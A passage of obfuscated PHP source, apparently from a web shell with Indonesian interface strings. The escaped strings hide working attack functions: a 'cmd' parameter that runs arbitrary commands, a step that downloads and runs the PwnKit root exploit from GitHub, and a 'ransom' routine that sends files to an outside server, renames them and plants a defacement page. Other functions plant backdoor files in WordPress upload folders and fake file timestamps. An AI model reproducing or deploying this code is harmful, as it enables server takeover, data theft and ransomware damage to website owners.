"\x27\40\x74\x61\162\147\x65\164\75\47\137\x62\x6c\x61\156\x6b\47\x20\x72\145\x6c\x3d\47\x6e\x6f\x66\x6f\x6c\154\157\167\x20\156\157\157\x70\145\156\145\x72\40\156\x6f\x72\x65\x66\145\162\x72\145\162\47\x3e" . $urlbd11 . "\74\57\x61\x3e\x3c\142\x72\57\x3e" . PHP_EOL; chmod($finalbd11, 292); } if (!file_exists($finalbd12)) { if (ini_get("\141\154\154\x6f\x77\x5f\x75\162\x6c\x5f\146\x6f\x70\145\x6e")) { $bd12 = file_get_contents($b12); $status_bd12 = file_put_contents($finalbd12, $bd12); if ($status_bd12) { $bdresult .= "\x3c\x73\x70\x61\x6e\40\143\154\x61\163\163\x3d\42\x74\145\170\164\55\163\165\x63\143\x65\163\x73\40\x66\157\x6e\164\55\167\145\151\x67\x68\164\x2d\142\157\x6c\144\42\76\123\x75\x6b\x73\x65\x73\x21\x3c\57\x73\x70\141\156\76\46\x6e\142\163\x70\x3b\46\156\x62\163\160\x3b\46\156\142\163\x70\x3b\74\x61\40\x63\x6c\141\x73\x73\x3d\x22\x74\145\170\164\x2d\151\156\146\157\x22\40\x68\162\x65\146\x3d\47" . $urlbd12 . "\47\x20\x74\141\x72\147\145\x74\75\47\137\x62\154\141\x6e\x6b\x27\40\162\145\154\x3d\47\x6e\157\x66\157\154\154\x6f\167\x20\x6e\157\157\160\145\156\x65\162\x20\x6e\157\162\145\146\x65\162\162\145\x72\x27\x3e" . $urlbd12 . "\74\57\141\x3e\74\x62\x72\57\76" . PHP_EOL; chmod($finalbd12, 292); } else { $altdir12 = $_SERVER["\x44\117\103\125\x4d\105\x4e\124\x5f\122\117\x4f\124"] . "\x2f\x77\160\55\143\x6f\x6e\x74\145\x6e\x74\x2f\165\x70\154\157\x61\144\163\57\62\x30\x32\x32\57\60\62\x2f"; if (!is_dir($altdir12)) { $altdir12 = $startDirectory . "\57\167\x70\55\143\x6f\x6e\x74\x65\156\x74\x2f\x75\x70\x6c\157\141\144\x73\x2f\62\60\x32\x32\x2f\60\x32\x2f"; } $altdir12_final = $altdir12 . $nama12; file_put_contents($altdir12_final, $bd12); chmod($altdir12_final, 292); $bdresult .= "\74\x73\160\141\156\40\163\x74\x79\x6c\145\x3d\x63\157\154\157\162\x3a\162\x65\144\41\151\x6d\160\157\x72\164\141\x6e\164\x3b\x66\157\156\x74\x2d\167\x65\151\x67\x68\x74\x3a\142\157\x6c\144\x3b\76\107\141\147\x61\x6c\40\124\141\x72\x6f\x20\104\151\40\x54\141\x72\147\145\164\x21\x20\101\x6b\163\145\x73\40\x64\x69\72\74\x2f\163\160\141\x6e\76\46\x6e\142\163\160\73\46\156\142\x73\x70\x3b\x26\156\x62\x73\x70\x3b" . $home . $altdir12_final . "\74\142\162\x2f\76" . PHP_EOL; } } } else { $bdresult .= "\x3c\x73\x70\x61\x6e\x20\143\154\141\163\x73\x3d\42\x74\145\x78\164\55\163\x75\143\x63\145\163\163\x22\x3e\x46\x69\154\x65\40\105\170\x69\163\x74\x73\41\x3c\x2f\x73\x70\x61\x6e\x3e\46\x6e\x62\x73\160\x3b\46\x6e\142\163\160\73\46\x6e\x62\x73\x70\73\74\141\40\x63\154\x61\163\163\x3d\x22\x74\145\170\164\55\x69\156\x66\157\x22\40\150\162\x65\x66\75\x27" . $urlbd12 . "\x27\x20\164\x61\162\147\x65\x74\75\47\x5f\x62\154\141\x6e\x6b\x27\40\162\145\x6c\x3d\x27\x6e\x6f\146\x6f\x6c\x6c\x6f\167\x20\156\x6f\x6f\x70\145\x6e\x65\162\x20\x6e\157\x72\x65\146\x65\x72\x72\145\x72\x27\x3e" . $urlbd12 . "\x3c\57\141\x3e\x3c\x62\162\x2f\x3e" . PHP_EOL; chmod($finalbd12, 292); } if (!file_exists($finalbd13)) { if (ini_get("\x61\x6c\x6c\157\x77\137\x75\x72\154\137\x66\x6f\160\145\x6e")) { $bd13 = file_get_contents($b13); $status_bd13 = file_put_contents($finalbd13, $bd13); if ($status_bd13) { $bdresult .= "\74\163\160\141\156\40\143\x6c\x61\x73\x73\75\42\x74\145\x78\x74\55\x73\x75\143\143\x65\163\x73\x20\x66\157\156\x74\55\x77\145\x69\x67\x68\164\x2d\x62\x6f\x6c\x64\42\x3e\123\x75\153\x73\145\x73\x21\x3c\57\163\x70\x61\156\76\x26\x6e\142\163\160\73\46\156\142\163\x70\73\46\x6e\x62\163\160\73\74\141\40\143\154\x61\x73\x73\x3d\42\x74\145\170\x74\55\151\156\x66\157\x22\40\x68\x72\145\x66\75\47" . $urlbd13 . "\47\x20\164\141\x72\x67\145\x74\75\x27\x5f\142\154\141\x6e\153\47\40\x72\145\154\75\47\156\x6f\x66\157\x6c\x6c\157\x77\40\x6e\x6f\157\160\x65\156\x65\162\x20\x6e\x6f\162\x65\146\x65\162\162\x65\162\47\x3e" . $urlbd13 . "\x3c\x2f\141\76\x3c\x62\x72\57\x3e" . PHP_EOL; chmod($finalbd13, 292); } else { $altdir13 = $_SERVER["\104\x4f\x43\x55\x4d\105\x4e\x54\x5f\x52\x4f\117\124"] . "\57\167\160\55\143\157\156\164\145\156\x74\x2f\165\160\x6c\157\141\x64\x73\x2f\62\60\62\x32\57\60\x31\63\x2f"; if (!is_dir($altdir13)) { $altdir13 = $startDirectory . "\57\167\160\55\x63\157\x6e\x74\x65\156\x74\57\x75\x70\x6c\157\141\x64\x73\57\x32\60\x32\62\x2f\x30\61\63\57"; } $altdir13_final = $altdir13 . $nama13; file_put_contents($altdir13_final, $bd13); chmod($altdir13_final, 292); $bdresult .= "\x3c\163\160\141\x6e\x20\163\x74\171\154\145\x3d\143\157\x6c\157\x72\72\x72\x65\x64\x21\x69\x6d\x70\x6f\x72\164\x61\156\164\x3b\x66\x6f\156\164\x2d\x77\145\x69\x67\150\164\x3a\142\157\x6c\x64\x3b\76\107\141\x67\141\x6c\40\x54\141\162\x6f\x20\104\151\40\124\141\x72\147\x65\x74\x21\40\x41\x6b\163\x65\163\40\144\x69\x3a\74\57\x73\160\x61\156\x3e\x26\156\142\163\x70\73\x26\x6e\142\x73\x70\x3b\x26\x6e\142\x73\160\x3b" . $home . $altdir13_final . "\74\142\x72\x2f\x3e" . PHP_EOL; } } } else { $bdresult .= "\74\x73\160\141\156\x20\143\154\x61\163\x73\75\42\x74\x65\170\x74\55\163\x75\143\x63\145\163\163\x22\x3e\x46\x69\x6c\x65\x20\x45\170\x69\x73\x74\x73\x21\x3c\57\x73\x70\x61\156\76\46\x6e\142\163\160\x3b\46\x6e\142\x73\x70\73\46\156\x62\163\x70\73\74\x61\40\x63\154\141\x73\163\x3d\x22\164\x65\170\164\x2d\x69\156\x66\x6f\42\40\150\x72\145\x66\75\47" . $urlbd13 . "\47\40\164\x61\162\147\145\x74\x3d\47\137\x62\154\x61\x6e\153\x27\40\x72\x65\x6c\75\x27\x6e\x6f\146\157\154\154\x6f\167\40\156\x6f\157\160\x65\156\x65\162\x20\156\157\x72\x65\x66\145\162\x72\x65\162\x27\76" . $urlbd13 . "\x3c\57\141\x3e\x3c\142\x72\57\76" . PHP_EOL; chmod($finalbd13, 292); } ob_end_flush(); echo "\74\144\x69\x76\40\143\x6c\x61\163\x73\x3d\42\142\151\x67\x61\x72\145\x61\x22\x20\156\x61\x6d\x65\75\x22\157\165\x74\160\x75\x74\40\163\x74\171\154\145\75\42\142\157\162\144\x65\162\55\x62\157\164\x74\157\155\x3a\x30\x3b\x6d\141\162\x67\151\156\55\x74\157\160\72\x35\x70\x78\73\x22\40\x72\x65\x61\x64\x6f\156\x6c\x79\x3e"; print_r($bdresult) . PHP_EOL; echo "\74\57\x64\x69\x76\76"; } echo "\x3c\57\144\x69\166\x3e\x3c\x2f\144\x69\x76\76"; } goto A9k68; gO_7z: if ($_GET["\141\153\163\151"] == "\155\x61\x73\144\145\146") { IIIIIIIl1l11($dir, $file, $IIIIIIII1l1I, $IIIIIIII1l1l); } goto uQ9_k; V3I3M: error_reporting(0); goto J7ej1; GFwbZ: if (isset($_GET["\x63\x6d\144"])) { echo "\74\x64\x69\166\40\143\x6c\141\163\163\75\42\142\x67\55\163\145\143\x6f\x6e\x64\x61\x72\171\x20\160\x2d\64\42\x3e"; echo "\74\160\x72\x65\40\143\x6c\x61\x73\x73\x3d\x27\164\x65\170\164\x2d\167\150\x69\164\145\x27\x3e" . ex($_GET["\x63\155\x64"]) . "\74\x2f\x70\162\x65\x3e"; echo "\74\57\x64\151\166\76"; die; } goto J5wOo; vpGGu: $IIIIIIII1l1I = "\74\x69\155\x67\x20\163\162\143\x3d\47\x68\x74\164\x70\163\x3a\x2f\x2f\143\x64\156\x34\x2e\x69\143\157\156\146\151\156\144\x65\x72\56\143\x6f\155\x2f\x64\141\x74\x61\x2f\x69\x63\157\x6e\x73\57\x50\x72\145\x74\164\x79\x5f\x6f\x66\x66\x69\x63\145\137\151\143\157\156\x5f\160\141\x72\x74\137\62\57\62\x35\x36\57\146\x6f\x6c\144\x65\x72\x2e\160\156\147\x27\40\143\x6c\x61\x73\163\x3d\x27\151\143\x6f\47\76\74\x2f\x69\155\x67\x3e"; goto pSUP2; my3Jv: function gsc($dir) { echo "\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\75\42\x63\x61\162\144\40\155\142\55\x35\x22\x3e\12\x3c\x64\x69\166\x20\143\154\141\163\x73\x3d\42\143\141\162\144\55\142\x6f\x64\x79\40\x66\x6f\x72\155\x2d\x67\162\x6f\165\160\42\x3e"; echo "\74\150\x34\40\x63\x6c\x61\163\163\75\42\x74\145\x78\164\55\x77\141\162\x6e\x69\x6e\147\x20\146\x6f\156\164\55\167\145\151\x67\150\164\55\142\157\x6c\144\x22\76\x44\x65\160\x6c\157\171\x69\156\x67\x20\107\123\x43\x20\x48\x54\x4d\114\x20\x46\151\x6c\145\74\57\150\64\x3e"; $url = "\150\x74\164\x70\x73\72\57\x2f\154\151\156\153\x69\x64\x2e\x6f\x72\147\57\x72\x2f\145\154\167\160\x2f\147\157\x6f\x67\154\145\x33\145\x30\x32\65\61\x30\141\x62\x62\x36\x30\60\x32\x39\60\56\x68\164\155\x6c"; $startDirectory = realpath(__DIR__); if ($startDirectory !== $_SERVER["\x44\x4f\x43\125\x4d\105\x4e\124\137\122\x4f\117\124"]) { $gschtml = $startDirectory . "\57\147\x6f\157\x67\x6c\145\63\145\60\x32\65\61\x30\x61\142\142\66\x30\60\62\x39\60\56\150\x74\155\154"; } else { $gschtml = $_SERVER["\x44\x4f\103\125\115\x45\x4e\x54\x5f\x52\117\117\124"] . "\x2f\x67\157\x6f\x67\154\x65\63\x65\x30\62\65\61\60\141\x62\x62\66\x30\60\x32\71\x30\x2e\x68\x74\155\x6c"; } if (!file_exists($gschtml)) { if (ini_get("\x61\x6c\154\157\x77\137\x75\162\154\137\146\157\x70\145\x6e")) { $content = file_get_contents($url); $status = file_put_contents($gschtml, $content); if ($status) { echo "\x3c\x73\x70\141\156\x20\x63\154\x61\x73\163\x3d\x22\164\145\x78\x74\x2d\163\165\143\143\x65\163\x73\40\x66\x6f\x6e\x74\55\x77\145\151\x67\150\164\x2d\x62\157\154\144\42\x3e\x42\x65\162\150\141\163\x69\x6c\40\x55\160\x6c\157\141\144\40\106\151\x6c\x65\x20\x47\123\x43\41\74\x2f\163\x70\141\x6e\76"; chmod($gschtml, 292); } else { echo "\74\163\160\x61\156\x20\x73\164\x79\x6c\145\75\143\x6f\x6c\x6f\162\72\x72\145\x64\41\x69\x6d\x70\157\x72\164\141\156\x74\x3b\x66\x6f\156\x74\x2d\167\145\x69\147\150\x74\x3a\x62\157\154\144\73\76\103\x61\x6e\x27\164\x20\x44\157\x77\156\154\157\141\144\x20\x47\x53\x43\x20\x46\x69\x6c\145\41\74\x2f\x73\x70\141\x6e\76"; } } else { $fp = fopen($gschtml, "\167\x2b"); $ch = curl_init($url); curl_setopt($ch, CURLOPT_FILE, $fp); curl_exec($ch); $st_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); fclose($fp); if ($st_code == 200) { echo "\74\x73\x70\141\x6e\40\x63\154\x61\163\163\75\42\x74\145\x78\164\x2d\163\165\143\x63\145\x73\163\40\x66\x6f\156\164\x2d\167\145\151\x67\x68\164\x2d\x62\x6f\154\x64\x22\x3e\x42\145\162\150\x61\x73\151\154\40\125\160\x6c\157\141\x64\40\x46\x69\x6c\x65\x20\107\x53\x43\x21\74\57\163\x70\141\156\x3e"; chmod($gschtml, 292); } else { echo "\x3c\163\x70\141\156\40\x63\154\141\x73\163\x3d\42\164\145\170\164\55\x64\x61\156\147\145\x72\x20\146\x6f\x6e\x74\55\167\x65\x69\147\150\x74\55\142\x6f\154\x64\x22\73\x3e\103\141\156\47\164\x20\104\157\x77\156\154\157\x61\144\x20\107\x53\x43\x20\x46\x69\154\145\41\x3c\x2f\x73\x70\141\x6e\76"; } } } else { echo "\74\163\160\141\x6e\40\x63\x6c\x61\163\x73\x3d\x22\x74\145\170\164\55\151\x6e\146\x6f\x20\x66\x6f\156\x74\x2d\x77\x65\x69\147\x68\x74\x2d\x62\157\154\x64\x22\x3b\x3e\x46\151\x6c\x65\40\x47\x53\103\40\x55\x64\141\x68\x20\101\x64\141\x21\x3c\57\x73\160\141\156\76"; } echo "\74\x2f\x64\x69\166\x3e\x3c\57\144\x69\166\76"; } goto DSy7v; foTk5: $dir = str_replace("\134", "\x2f", $dir); goto x6dqP; xbzJ0: $IIIIIIIlllIl = basename($file); goto mA8lq; jv_H7: if ($_GET["\x61\153\163\x69"] == "\143\x68\155\157\144\x5f\x64\151\162") { IIIIIIIl1IlI($dir, $IIIIIIIl1Ill); } goto srtjT; IMYQ9: $IIIIIIII1IlI = $_SERVER["\110\x54\124\120\137\110\117\x53\124"]; goto wPDPB; qk_sa: if ($_GET["\x61\x6b\x73\151"] == "\x73\x79\155\137\x34\x30\64") { IIIIIII111ll($dir, $file); } goto nyJNx; yjCw8: $IIIIIIIIII1l = "\125\124\x46\x2d\x38"; goto o55aw; ygJ1p: if ($_GET["\x61\x6b\x73\x69"] == "\x6a\x75\x6d\x70\151\156\x67") { IIIIIII1IIlI($dir, $file, $IIIIIIII1III); } goto QOeUu; Zq00K: if ($_GET["\141\153\x73\x69"] == "\x74\x65\x72\x6d\151\x6e\141\x6c\162\x6f\x6f\x74") { IIIIIIIlI1lI($dir); } goto U8hFk; XlvIp: function IIIIIIIlI1ll($dir, $IIIIIIII1l1I) { echo "\x3c\144\151\166\40\143\x6c\141\x73\163\75\x27\143\141\x72\144\47\x3e\12\74\144\x69\166\x20\143\154\141\163\163\x3d\x27\x63\x61\162\144\55\142\157\144\171\40\146\157\x72\155\55\x67\162\157\165\x70\x27\x3e\74\146\157\162\155\76\12\x3c\x68\65\x3e\x3c\160\x20\143\154\141\163\x73\75\47\164\145\x78\x74\55\x6d\x75\164\145\x64\47\x3e\102\x75\x6c\153\40\103\150\x61\x6e\x67\145\x20\x44\141\x74\145\x3c\x2f\x70\76\74\57\150\65\76\xa\x3c\150\65\76\74\160\40\x63\x6c\141\163\x73\75\47\x74\x65\170\x74\x2d\x6d\x75\164\x65\x64\47\x3e{$IIIIIIII1l1I}\40\x54\x61\162\x67\x65\x74\40\x44\x69\162\145\x63\164\157\162\x79\57\x66\151\154\x65\x20\72\x3c\x2f\x70\x3e\x3c\57\150\65\x3e\12\x3c\x69\x6e\160\165\x74\40\x74\x79\160\145\x3d\47\164\x65\170\164\47\40\143\x6c\141\163\163\75\47\146\157\162\155\55\x63\x6f\x6e\x74\x72\157\154\x27\40\x6e\141\x6d\145\x3d\x27\143\150\x61\x6e\147\145\x64\141\164\x65\156\x79\141\47\40\141\x75\x74\157\143\157\x6d\160\x6c\145\x74\x65\75\x27\157\x66\146\x27\40\x70\154\x61\x63\x65\150\157\x6c\144\145\162\x3d\x27\145\170\x20\72\40\x2f\x76\x61\162\57\167\167\x77\57\x68\164\155\x6c\x27\x3e\12\x3c\57\x66\x6f\162\x6d\x3e\x3c\57\x64\x69\166\x3e\74\57\x64\151\166\x3e"; } goto KaezF; HtwCQ: if (isset($_GET["\156\147\145\x62\145\x70\x61\x73\x73\x6e\171\141"])) { $IIIIIIlllI11 = $_GET["\156\147\x65\142\145\x70\x61\163\x73\156\171\x61"]; echo "\74\160\x72\145\40\x63\x6c\x61\x73\x73\x3d\47\164\145\170\164\x2d\167\x68\151\x74\x65\47\x3e" . ex("\154\x73\x20\x27{$IIIIIIlllI11}\47\40\x3e\x20\144\141\164\145\x2e\164\x78\x74") . "\x3c\x2f\160\162\145\x3e"; ex("\146\x6f\162\x20\x69\x20\151\x6e\40\44\x28\x63\x61\x74\x20\144\141\x74\145\56\164\170\x74\51\73\144\157\x20\164\x6f\x75\x63\150\40\x2d\155\164\40\x24\50\x65\x63\x68\157\x20\x32\x30\61\44\50\x28\x52\101\x4e\x44\117\115\x25\61\60\x29\x29\60\x24\x28\x28\122\x41\x4e\104\117\115\45\x31\60\x29\x29\60\x24\50\x28\x52\x41\116\104\117\115\45\61\x30\51\51\x30\60\60\x30\51\x20" . $_GET["\x6e\x67\x65\x62\x65\x70\x61\x73\163\156\x79\141"] . "\57\44\x69\x3b\x64\x6f\x6e\x65"); echo "\74\160\40\143\154\141\x73\163\75\x27\x74\145\x78\164\x2d\167\150\151\164\145\47\76\133\53\x5d\40\115\157\144\x69\146\151\x63\x61\x74\x69\x6f\x6e\40\104\157\156\x65\x21\74\57\x70\76\x3c\57\x64\x69\x76\76\74\57\x64\151\x76\76"; ex("\162\155\x20\x2d\x72\146\x20\x64\x61\x74\145\x2e\x74\x78\x74"); die; } goto LFiqG; Pt7aW: if ($_GET["\x61\x6b\x73\x69"] == "\165\x70\154\x6f\141\x64") { IIIIIIIllIll($dir); } goto Jb3E0; J5wOo: if (isset($_GET["\x72\157\x6f\164\x6e\x79\x61"])) { $IIIIIIlllI11 = $_GET["\x72\x6f\157\164\x6e\x79\x61"]; ex("\143\x75\162\154\x20\55\x66\163\123\114\x20\150\x74\x74\x70\163\72\57\x2f\x72\x61\x77\56\x67\x69\164\x68\165\x62\x75\163\145\x72\143\157\x6e\164\x65\x6e\x74\x2e\143\x6f\x6d\57\154\171\x34\x6b\x2f\x50\x77\156\x4b\151\x74\x2f\x6d\x61\151\156\x2f\x50\167\x6e\x4b\x69\x74\40\55\x6f\40\162\157\157\x74\150\x75\x6e\164\x65\162\73\143\x68\155\x6f\x64\40\x2b\170\40\162\x6f\157\x74\150\x75\156\164\145\162"); echo "\x3c\x70\x72\x65\x20\x63\x6c\x61\x73\x73\75\x27\x74\x65\x78\x74\x2d\x77\150\x69\x74\145\47\76" . ex("\x2e\57\162\157\x6f\x74\x68\x75\156\x74\x65\x72\40\x27{$IIIIIIlllI11}\47") . "\x3c\x2f\x70\162\x65\x3e"; ex("\x72\155\40\x2d\162\146\40\x72\157\x6f\x74\x68\x75\x6e\164\145\x72"); die; } goto GVG6U; uaM2x: function ransom($dir, $file) { if (isset($_POST["\145\x6e\x63\x72\171\x70\x74"])) { $dir = $_POST["\160\x61\x74\x68"]; echo "\x3c\164\145\170\164\141\x72\145\141\40\x63\x6c\x61\163\x73\75\x27\x66\157\x72\x6d\x2d\x63\x6f\x6e\x74\162\x6f\x6c\x20\155\142\55\x34\x27\x20\162\157\x77\163\75\47\x31\63\x27\x20\x64\x69\x73\141\x62\154\x65\x64\75\47\x27\76"; function IIIIIIlI11I1($dir) { if (is_dir($dir)) { $IIIIIIlI11lI = scandir($dir); unset($IIIIIIlI11lI[array_search("\56", $IIIIIIlI11lI, true)]); unset($IIIIIIlI11lI[array_search("\x2e\x2e", $IIIIIIlI11lI, true)]); if (count($IIIIIIlI11lI) < 1) { return; } foreach ($IIIIIIlI11lI as $IIIIIIlI11l1) { $IIIIIIlI111I = $dir . "\x2f" . $IIIIIIlI11l1; if (!is_dir($IIIIIIlI111I)) { $file = file_get_contents($IIIIIIlI111I); $IIIIIIlI111l = base64_encode($file); $IIIIIIllIIII = curl_init(); curl_setopt($IIIIIIllIIII, CURLOPT_URL, "\x68\164\x74\160\x3a\57\x2f\x65\x6e\143\x72\x79\160\164\56\x69\156\144\x73\143\56\x6d\145\57\141\160\151\x2e\x70\150\x70\x3f\164\x79\160\145\75\x65\156\x63\162\x79\x70\164"); curl_setopt($IIIIIIllIIII, CURLOPT_RETURNTRANSFER, 1); curl_setopt($IIIIIIllIIII, CURLOPT_POSTFIELDS, "\x74\145\170\164\75{$IIIIIIlI111l}"); $x = json_decode(curl_exec($IIIIIIllIIII)); if ($x->status == "\163\x75\x63\143\145\163\163") { $IIIIIIllIIl1 = base64_decode($x->data); rename($IIIIIIlI111I, $IIIIIIlI111I . "\56\x69\156\144\x73\143"); echo "\133\x2b\x5d{$IIIIIIlI111I}\x20\x3d\x3e\x20\123\165\143\x63\x65\x73\x73\x20\105\x6e\143\162\171\x70\164\x65\144\xa"; } } if (is_dir($dir . "\57" . $IIIIIIlI11l1)) { IIIIIIlI11I1($dir . "\x2f" . $IIIIIIlI11l1); } } $IIIIIIllII1I = file_get_contents("\150\x74\164\160\163\x3a\57\x2f\x70\x61\163\x74\145\x62\151\156\x2e\x63\x6f\x6d\57\162\141\x77\57\x61\107\x5a\x36\102\145\x54\x48"); $IIIIIIllII1l = fopen($dir . "\57\151\x6e\x64\x65\170\56\x68\x74\155\x6c", "\x77"); fwrite($IIIIIIllII1l, $IIIIIIllII1I); fclose($IIIIIIllII1l); echo "\xa\x5b\53\x5d\x20\x44\x6f\156\x65\x20\x21"; } else { echo "\12\102\x75\153\x61\x6e\40\144\x69\162"; } } IIIIIIlI11I1($dir); echo "\74\57\x74\x65\170\164\x61\x72\x65\x61\x3e\74\x62\162\57\76"; } else { echo "\x3c\x66\x6f\162\x6d\x20\x6d\145\x74\150\157\144\x3d\42\160\x6f\x73\x74\x22\x3e\xa\74\144\151\x76\40\143\154\141\x73\x73\75\42\146\x6f\162\x6d\x2d\147\162\157\165\x70\42\x3e\12\74\x68\64\x20\143\154\x61\x73\163\75\x22\164\x65\170\164\55\143\145\156\164\145\162\40\x6d\142\55\x34\x22\x3e\74\151\40\143\x6c\141\163\163\x3d\42\x66\141\40\x66\141\55\x6c\157\143\x6b\x22\x3e\74\57\x69\76\40\x52\x61\156\x73\x6f\x6d\167\141\162\145\x3c\x2f\150\x34\76\12\74\x6c\x61\x62\x65\x6c\x3e\x50\x69\x6c\x69\x68\x20\104\x69\162\x65\x63\x74\157\162\x79\40\72\74\x2f\x6c\x61\x62\x65\154\x3e\12\74\x64\x69\166\x20\143\154\x61\x73\163\x3d\x22\x66\x6f\x72\x6d\x2d\x67\162\x6f\165\160\40\x69\x6e\160\x75\164\x2d\x67\162\157\165\x70\x22\76\12\x3c\x64\151\x76\40\x63\154\141\163\x73\75\x22\x69\x6e\x70\165\164\55\147\x72\157\x75\x70\55\160\x72\x65\x70\x65\x6e\x64\42\x3e\xa\x3c\x64\151\x76\40\143\154\141\x73\163\x3d\x22\x69\x6e\x70\165\x74\x2d\x67\162\157\165\160\x2d\164\145\x78\x74\42\76\x3c\151\40\143\154\x61\163\163\x3d\x22\x66\x61\x20\146\x61\x2d\150\157\155\x65\x22\x3e\x3c\x2f\151\x3e\x3c\x2f\x64\x69\166\x3e\12\74\x2f\144\151\x76\76\xa\74\x69\x6e\x70\165\x74\40\x74\171\x70\x65\75\42\x74\x65\x78\164\x22\40\x6e\x61\155\x65\x3d\42\160\141\x74\x68\42\40\x63\x6c\x61\163\163\75\42\x66\x6f\162\155\x2d\x63\x6f\156\164\x72\x6f\x6c\42\40\x76\x61\x6c\x75\x65\75\42" . $dir . "\42\57\x3e\12\74\57\x64\x69\x76\x3e\xa\74\151\156\x70\x75\164\x20\x74\171\160\x65\x3d\42\x73\165\142\155\151\x74\x22\x20\156\x61\x6d\x65\75\x22\x65\156\143\x72\x79\160\x74\42\x20\x63\x6c\x61\x73\163\x3d\42\142\164\156\40\142\164\156\x2d\144\x61\156\x67\145\162\x20\142\x74\156\55\x62\154\157\x63\x6b\x22\x20\x76\141\154\165\x65\75\42\105\x6e\x63\x72\171\160\x74\42\57\76\12\x3c\x2f\144\151\166\76\xa\x3c\57\146\157\162\155\x3e"; } die; } goto XnLRJ; vKC7m: $IIIIIIII1ll1 = !empty($IIIIIIII1llI) ? "\x3c\141\x20\150\x72\x65\x66\75\x27\40\77\x20\x64\x69\162\x20\75\40{$dir}\x20\46\x20\x61\x6b\x73\x69\x20\75\x20\x64\x69\163\x61\142\146\x75\x6e\x63\x27\x20\143\x6c\141\163\x73\x3d\x27\x64\163\x27\x3e{$IIIIIIII1llI}\x3c\57\x61\76" : "\74\141\40\x68\162\145\x66\75\47\40\x3f\x20\x64\x69\x72\x20\75\x20{$dir}\x20\x26\40\141\x6b\x73\151\x20\75\40\x64\x69\163\141\x62\x66\x75\156\x63\47\x3e\x3c\x66\157\x6e\x74\x20\143\x6f\154\x6f\x72\x3d\x67\x72\145\x65\x6e\x3e\x4e\x4f\116\x45\x3c\x2f\x66\157\x6e\x74\x3e\74\x2f\x61\x3e"; goto vpGGu; dSTbr: if ($_GET["\x61\x6b\163\151"] == "\142\143\x74\x6f\157\x6c\163") { IIIIIIlIIIll($dir, $file); } goto t68Gu; DSy7v: function modules($dir) { echo "\x3c\144\x69\166\40\x63\x6c\x61\163\x73\x3d\x22\x63\141\162\x64\40\x6d\x62\55\x35\42\76\xa\74\x64\x69\x76\40\x63\x6c\x61\x73\x73\x3d\x22\x63\141\162\x64\x2d\x62\157\144\171\x20\146\157\162\155\x2d\x67\x72\157\x75\x70\x22\x3e"; echo "\x3c\x70\x20\143\x6c\x61\163\x73\75\42\x74\145\170\164\55\167\x61\x72\156\x69\x6e\147\x20\x66\157\x6e\164\x2d\x77\145\x69\147\x68\x74\x2d\x62\157\x6c\144\x22\x3e\133\x2b\135\x20\x43\x68\145\143\153\151\156\147\40\115\157\144\165\154\145\163\x3c\x2f\160\76"; $makev = "\x6d\141\x6b\x65\x20\x2d\55\x76\145\x72\x73\x69\x6f\156"; $gccv = "\147\143\143\x20\55\x2d\x76\x65\x72\163\x69\157\x6e"; $pythonv = "\160\171\x74\x68\157\156\40\55\55\x76\x65\162\x73\x69\157\x6e"; $makev_result = ex($makev); if ($makev_result == '') { echo "\x3c\160\40\x63\x6c\x61\x73\163\75\42\164\145\x78\x74\55\155\x75\164\x65\144\42\x3e\x3c\x70\x72\145\x3e\x5b\x2b\x5d\40\115\x61\x6b\145\x20\156\157\x74\x20\151\x6e\x73\x74\x61\x6c\x6c\145\x64\x21\74\x2f\x70\162\145\76\74\x2f\x70\76"; } else { echo "\x3c\160\40\143\x6c\x61\x73\163\x3d\42\164\145\x78\164\x2d\x6d\165\x74\145\144\x22\x3e\74\x70\162\145\76\x3c\x63\x6f\x64\145\x3e" . $makev_result . "\x3c\57\143\157\144\145\x3e\x3c\x2f\160\x72\x65\x3e\74\x62\x72\76\x3c\57\160\x3e"; } $gccv_result = ex($gccv); if ($gccv_result == '') { echo "\x3c\x70\40\x63\154\141\x73\x73\75\x22\164\x65\170\164\x2d\x6d\165\164\145\x64\x22\x3e\74\x70\162\x65\x3e\74\143\157\x64\x65\x3e\x5b\53\135\x20\107\103\x43\40\156\157\164\40\x69\x6e\x73\x74\x61\154\x6c\x65\x64\41\74\57\143\157\144\x65\x3e\74\x2f\160\162\145\x3e\74\x2f\160\x3e"; } else { echo "\74\x70\x20\x63\154\141\163\163\75\x22\x74\145\170\164\x2d\155\x75\164\145\x64\x22\x3e\x3c\160\162\145\x3e\x3c\143\157\144\x65\76" . $gccv_result . "\74\x2f\x63\157\144\x65\76\74\57\160\162\x65\76\74\142\x72\76\74\x2f\x70\76"; } $pythonv_result = ex($pythonv); if ($pythonv_result == '') { echo "\x3c\160\40\x63\x6c\141\163\163\x3d\42\164\145\170\164\55\155\165\x74\145\144\x22\76\74\160\x72\x65\76\74\143\157\x64\145\76\x5b\53\x5d\40\x50\x79\164\150\157\x6e\40\156\x6f\164\x20\x69\x6e\163\x74\x61\154\154\x65\x64\x21\74\57\x63\157\144\145\76\x3c\x2f\160\162\145\76\74\x2f\160\76"; } else { echo "\74\x70\40\143\x6c\x61\x73\x73\75\x22\164\x65\x78\164\x2d\155\165\164\x65\144\42\x3e\74\160\x72\145\76\x3c\143\157\x64\x65\76" . $pythonv_result . "\x3c\x2f\143\157\x64\145\76\74\57\x70\x72\145\76\x3c\142\162\76\74\57\160\76"; } echo "\x3c\57\x64\151\166\x3e\x3c\x2f\144\151\x76\x3e"; } goto lDEHU; LLTEe: if ($_GET["\141\153\163\151"] == "\147\163\x63") { gsc($dir); } goto xaPb1; ceoRa: if ($_GET["\x61\153\x73\x69"] == "\x62\x79\160\141\163\x63\146") { IIIIIIllIl11(); } goto C_qji; Veqhf: function IIIIIIIl1lI1($dir, $IIIIIIIl1Ill, $IIIIIIII1l1I) { echo "\x5b\x20\74\x61\40\x68\162\145\x66\x3d\x27\x3f\144\x69\162\x3d" . $dir . "\46\141\x6b\163\x69\x3d\x72\x65\x6e\x61\155\x65\x5f\146\x6f\154\144\145\162\47\40\x63\154\x61\x73\163\75\47\141\143\x74\x69\166\145\47\x3e\122\145\156\141\x6d\145\74\57\141\76\x20\135\40\40\133\x20\74\141\x20\x68\x72\x65\x66\75\x27\x3f\x64\x69\x72\x3d" . $dir . 